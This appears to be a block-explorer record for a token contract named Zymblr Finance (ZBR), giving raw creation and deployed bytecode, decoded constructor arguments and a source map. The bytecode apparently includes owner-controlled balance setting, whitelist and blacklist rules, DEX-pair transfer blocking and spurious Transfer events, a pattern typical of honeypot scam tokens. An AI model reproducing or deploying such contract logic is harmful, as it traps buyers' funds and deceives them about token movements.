ffffffffff1614610ec457600080fd5b6000821115610f18576012600a0a8202600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fdb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b60005b838390508110156111d95760016007600086868581811061115e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611141565b506001905092915050565b600e6020528060005260406000206000915090505481565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112925780601f1061126757610100808354040283529160200191611292565b820191906000526020600020905b81548152906001019060200180831161127557829003601f168201915b505050505081565b60006112a7338484610a98565b905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130b57600080fd5b600083518302905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561135f57600080fd5b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561151b5760008582815181106113c657fe5b602002602001015190506012600a0a8502600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a89028161148257fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a8902816114f757fe5b046040518082815260200191505060405180910390a35080806001019150506113af565b50600191505092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b60008061159e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163061189a565b905060006115f1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119e6565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148061169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806116f45750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061172a57508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061176057508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806117b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061180c5750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561181c57600192505050611893565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561187957600092505050611893565b6118838685611b31565b61188c57600080fd5b6001925050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106118d95783856118dc565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611a25578385611a28565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a54148015611b4657506000600854145b8015611b5457506000600954145b15611b625760009050611c02565b6000600a541115611bbf57600a54600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bbe5760009050611c02565b5b60006008541115611bde57816008541115611bdd5760009050611c02565b5b60006009541115611bfd57600954821115611bfc5760009050611c02565b5b600190505b9291505056fea2646970667358221220327bf488fc3a9711d3c1a08f97245cdfdb3bbe7bc066e9bf8512844fc7da235264736f6c634300060c003300000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000001dcd650000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000000000000e5a796d626c722046696e616e636500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035a42520000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100e75760003560e01c80635c19a95c1161008a57806395d89b411161005957806395d89b4114610545578063a9059cbb146105d5578063aa2f522014610639578063dd62ed3e14610711576100e7565b80635c19a95c146103835780636083e94b146103dd5780636b7680731461044457806370a08231146104e0576100e7565b806318160ddd116100c657806318160ddd1461024557806323b872dd146102705780632ccb1b30146102f4578063313ce56714610358576100e7565b8062f7274a146100ec57806306fdde0314610151578063095ea7b3146101e1575b600080fd5b3480156100f857600080fd5b506101396004803603606081101561010f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610796565b60405180821515815260200191505060405180910390f35b34801561015d57600080fd5b5061016661081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d600480360360408110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b34801561025157600080fd5b5061025a610a92565b6040518082815260200191505060405180910390f35b6102dc6004803603606081101561028657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b60405180821515815260200191505060405180910390f35b6103406004803603604081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e68565b60405180821515815260200191505060405180910390f35b34801561036457600080fd5b5061036d610f7a565b6040518082815260200191505060405180910390f35b6103c56004803603602081101561039957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7f565b60405180821515815260200191505060405180910390f35b3480156103e957600080fd5b5061042c6004803603602081101561040057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561045057600080fd5b506104c86004803603602081101561046757600080fd5b810190808035906020019064010000000081111561048457600080fd5b82018360208201111561049657600080fd5b803590602001918460208302840111640100000000831117156104b857600080fd5b90919293919293905050506110e2565b60405180821515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a6111fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059a57808201518184015260208101905061057f565b50505050905090810190601f1680156105c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610621600480360360408110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129a565b60405180821515815260200191505060405180910390f35b6106f96004803603604081101561064f57600080fd5b810190808035906020019064010000000081111561066c57600080fd5b82018360208201111561067e57600080fd5b803590602001918460208302840111640100000000831117156106a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506112af565b60405180821515815260200191505060405180910390f35b34801561071d57600080fd5b506107806004803603604081101561073457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611527565b6040518082815260200191505060405180910390f35b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f257600080fd5b6012600a0a82026009819055506012600a0a830260088190555083600a81905550600190509392505050565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a6001026040518082815260200191505060405180910390a35b6001905092915050565b60105481565b600080821415610aab5760019050610e61565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bf25781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6757600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c50575060095482115b15610cae576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b610cb984848461154c565b610cc257600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d0e57600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec457600080fd5b6000821115610f18576012600a0a8202600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fdb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b60005b838390508110156111d95760016007600086868581811061115e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611141565b506001905092915050565b600e6020528060005260406000206000915090505481565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112925780601f1061126757610100808354040283529160200191611292565b820191906000526020600020905b81548152906001019060200180831161127557829003601f168201915b505050505081565b60006112a7338484610a98565b905092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130b57600080fd5b600083518302905080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561135f57600080fd5b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561151b5760008582815181106113c657fe5b602002602001015190506012600a0a8502600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a89028161148257fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026012600a0a8902816114f757fe5b046040518082815260200191505060405180910390a35080806001019150506113af565b50600191505092915050565b600f602052816000526040600020602052806000526040600020600091509150505481565b60008061159e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163061189a565b905060006115f1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306119e6565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148061169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806116f45750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061172a57508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061176057508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806117b85750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8061180c5750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561181c57600192505050611893565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561187957600092505050611893565b6118838685611b31565b61188c57600080fd5b6001925050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106118d95783856118dc565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611a25578385611a28565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a54148015611b4657506000600854145b8015611b5457506000600954145b15611b625760009050611c02565b6000600a541115611bbf57600a54600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bbe5760009050611c02565b5b60006008541115611bde57816008541115611bdd5760009050611c02565b5b60006009541115611bfd57600954821115611bfc5760009050611c02565b5b600190505b9291505056fea2646970667358221220327bf488fc3a9711d3c1a08f97245cdfdb3bbe7bc066e9bf8512844fc7da235264736f6c634300060c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000001dcd650000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000000000000e5a796d626c722046696e616e636500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035a42520000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Zymblr Finance
Arg [1] : _symbol (string): ZBR
Arg [2] : _supply (uint256): 500000000
Arg [3] : MemoryNum (uint256): 1
Arg [4] : minMemory (uint256): 1
Arg [5] : maxMemory (uint256): 250000

-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 000000000000000000000000000000000000000000000000000000001dcd6500
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [5] : 000000000000000000000000000000000000000000000000000000000003d090
Arg [6] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [7] : 5a796d626c722046696e616e6365000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [9] : 5a42520000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

16155:7180:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20568:312;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22624:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18412:328;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22594:23;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17723:683;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;19224:271;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22553:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;20886:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;20408:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;21051:243;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22434:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;22649:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16357:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;19507:625;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;22483:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;20568:312;20656:4;20694:8;;;;;;;;;;;20680:22;;:10;:22;;;20672:31;;;;;;22585:2;20738;:21;20727:9;:33;20714:10;:46;;;;22585:2;20795;:21;20784:9;:33;20771:10;:46;;;;20841:9;20828:10;:22;;;;20868:4;20861:11;;20568:312;;;;;:::o;22624:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;18412:328::-;18484:4;18535:6;18501:9;:21;18511:10;18501:21;;;;;;;;;;;;;;;:31;18523:8;18501:31;;;;;;;;;;;;;;;:40;;;;18578:8;18557:38;;18566:10;18557:38;;;18588:6;18557:38;;;;;;;;;;;;;;;;;;18622:5;;;;;;;;;;18610:17;;:8;:17;;;18606:105;;;18671:1;;;;;;;;;;;18649:50;;18666:3;18649:50;;;22585:2;18676;:21;18673:1;:25;18649:50;;;;;;;;;;;;;;;;;;18606:105;18728:4;18721:11;;18412:328;;;;:::o;22594:23::-;;;;:::o;17723:683::-;17810:4;17841:1;17831:6;:11;17827:55;;;17866:4;17859:11;;;;17827:55;17910:5;17896:19;;:10;:19;;;17892:152;;17972:6;17940:9;:16;17950:5;17940:16;;;;;;;;;;;;;;;:28;17957:10;17940:28;;;;;;;;;;;;;;;;:38;;17932:47;;;;;;18026:6;17994:9;:16;18004:5;17994:16;;;;;;;;;;;;;;;:28;18011:10;17994:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;17892:152;18067:10;;;;;;;;;;;18058:19;;:5;:19;;;:43;;;;;18091:10;;18082:6;:19;18058:43;18054:73;;;18119:4;18105:8;:13;18114:3;18105:13;;;;;;;;;;;;;;;;:18;;;;;;;;;;;;;;;;;;18054:73;18155:26;18162:5;18169:3;18174:6;18155;:26::i;:::-;18147:35;;;;;;18221:6;18201:9;:16;18211:5;18201:16;;;;;;;;;;;;;;;;:26;;18193:35;;;;;;18259:6;18239:9;:16;18249:5;18239:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;18294:6;18276:9;:14;18286:3;18276:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;18311:12;:19;18324:5;18311:19;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;18364:3;18348:28;;18357:5;18348:28;;;18369:6;18348:28;;;;;;;;;;;;;;;;;;18394:4;18387:11;;17723:683;;;;;;:::o;19224:271::-;19302:4;19341:8;;;;;;;;;;;19327:22;;:10;:22;;;19319:31;;;;;;19377:1;19364:10;:14;19361:74;;;22585:2;19411;:21;19399:10;:34;19381:9;:15;19391:4;19381:15;;;;;;;;;;;;;;;:52;;;;19361:74;19461:4;19445:9;:15;19455:4;19445:15;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;19483:4;19476:11;;19224:271;;;;:::o;22553:34::-;22585:2;22553:34;:::o;20886:159::-;20940:4;20979:8;;;;;;;;;;;20965:22;;:10;:22;;;20956:32;;;;;;21012:3;20999:10;;:16;;;;;;;;;;;;;;;;;;21033:4;21026:11;;20886:159;;;:::o;20408:154::-;20453:4;20492:8;;;;;;;;;;;20478:22;;:10;:22;;;20470:31;;;;;;20528:4;20512:9;:15;20522:4;20512:15;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;20550:4;20543:11;;20408:154;;;:::o;21051:243::-;21120:4;21159:8;;;;;;;;;;;21145:22;;:10;:22;;;21137:31;;;;;;21184:6;21179:86;21200:9;;:16;;21196:1;:20;21179:86;;;21259:4;21234:8;:22;21243:9;;21253:1;21243:12;;;;;;;;;;;;;;;21234:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;21218:3;;;;;;;21179:86;;;;21282:4;21275:11;;21051:243;;;;:::o;22434:42::-;;;;;;;;;;;;;;;;;:::o;22649:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16357:135::-;16425:4;16447:37;16460:10;16472:3;16477:6;16447:12;:37::i;:::-;16440:44;;16357:135;;;;:::o;19507:625::-;19586:4;19626:8;;;;;;;;;;;19612:22;;:10;:22;;;19603:32;;;;;;19646:10;19668:4;:11;19659:6;:20;19646:33;;19723:5;19698:9;:21;19708:10;19698:21;;;;;;;;;;;;;;;;:30;;19690:39;;;;;;19765:5;19740:9;:21;19750:10;19740:21;;;;;;;;;;;;;;;;:30;;;;;;;;;;;19786:6;19781:322;19802:4;:11;19798:1;:15;19781:322;;;19835:11;19849:4;19854:1;19849:7;;;;;;;;;;;;;;19835:21;;22585:2;19897;:21;19889:6;:30;19871:9;:14;19881:3;19871:14;;;;;;;;;;;;;;;;:48;;;;;;;;;;;19960:3;19939:59;;19948:10;19939:59;;;19996:1;22585:2;19973;:21;19965:6;:30;:32;;;;;;19939:59;;;;;;;;;;;;;;;;;;20039:3;20018:59;;20027:10;20018:59;;;20075:1;22585:2;20052;:21;20044:6;:30;:32;;;;;;20018:59;;;;;;;;;;;;;;;;;;19781:322;19815:3;;;;;;;19781:322;;;;20120:4;20113:11;;;19507:625;;;;:::o;22483:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16938:480::-;17017:4;17034:11;17048:31;17055:3;;;;;;;;;;;17060;;;;;;;;;;;17073:4;17048:6;:31::i;:::-;17034:45;;17090:11;17104:32;17112:3;;;;;;;;;;;17117;;;;;;;;;;;17130:4;17104:7;:32::i;:::-;17090:46;;17159:8;